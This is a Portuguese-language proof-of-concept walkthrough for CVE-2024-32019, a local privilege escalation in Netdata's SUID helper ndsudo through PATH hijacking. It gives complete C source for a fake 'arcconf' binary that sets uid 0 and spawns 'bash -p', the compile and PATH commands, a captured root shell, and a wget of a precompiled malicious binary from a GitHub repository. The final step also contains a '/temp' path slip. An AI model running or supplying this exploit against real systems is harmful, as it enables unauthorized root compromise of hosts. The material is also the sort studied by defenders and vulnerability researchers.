
Netdata ndsudo fluxo de trabalho de escalada de privilégio local e POC (CVE-2024-32019)
Netdata ndsudo escalonamento de privilégios local fluxo de trabalho e PoC (CVE-2024-32019)
[!TIP] Por favor, leia
Netdata é uma ferramenta que fornece monitoramento de aplicativos e sistemas, roda na porta 19999, fácil de encontrar:
test@test:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:19999 0.0.0.0:* LISTEN
Esta vulnerabilidade (CVE-2024-32019) afeta as seguintes versões: >= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169. Podemos fazer uma requisição para saber a versão no cabeçalho de resposta:
O exploit ocorre ao aproveitar um PATH Hijacking de um de seus plugins, ndsudo que geralmente está localizado em /opt/netdata/usr/libexec/netdata/ e que possui SUID.
test@test:~$ find / -name ndsudo 2> /dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
Podemos ver o que podemos fazer usando --help
$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help
ndsudo
(C) Netdata Inc.
A helper to allow Netdata run privileged commands.
--test
print the generated command that will be run, without running it.
--help
print this message.
The following commands are supported:
- Command : nvme-list
Executables: nvme
Parameters : list --output-format=json
- Command : nvme-smart-log
Executables: nvme
Parameters : smart-log {{device}} --output-format=json
- Command : megacli-disk-info
Executables: megacli MegaCli
Parameters : -LDPDInfo -aAll -NoLog
- Command : megacli-battery-info
Executables: megacli MegaCli
Parameters : -AdpBbuCmd -aAll -NoLog
- Command : arcconf-ld-info
Executables: arcconf
Parameters : GETCONFIG 1 LD
- Command : arcconf-pd-info
Executables: arcconf
Parameters : GETCONFIG 1 PD
The program searches for executables in the system path.
Variables given as {{variable}} are expected on the command line as:
--variable VALUE
VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .
test@test:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info
arcconf : not available in PATH.
Como podemos ver, como o script contém vários comandos para escolher que irão procurar um executável, podemos aproveitar isso para criar nosso próprio executável com o nome de um dos executáveis dentro de um caminho que podemos adicionar à variável de ambiente PATH.
Netdata usa C, consequentemente, temos que fazer nosso script em C e compilá-lo.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
perror("execl");
return 1;
}
gcc arcconf.c -o arcconf
Então, como discutido anteriormente, adicionamos o caminho do script ao $PATH
test@test:/tmp$ PATH=/tmp:$PATH
Finalmente, simplesmente executamos o comando que está apontando para nosso executável malicioso (arcconf-pd-info -> arcconf ) e ele nos dará um shell privilegiado
test@test:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-pd-info
root@editor:/tmp# whoami
root
Você pode baixar o script malicioso C já compilado que lhe dará um bash como root, conforme mencionado no exemplo acima:
wget https://github.com/juanbelin/CVE-2024-32019-POC/raw/refs/heads/main/arcconf
mv arcconf /tmp #Se seu alvo tiver conectividade com a Internet
scp ./arcconf test@test:/tmp/arcconf #Se seu alvo não tiver conectividade com a Internet
PATH=:/temp:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info #O caminho do ndsudo pode mudar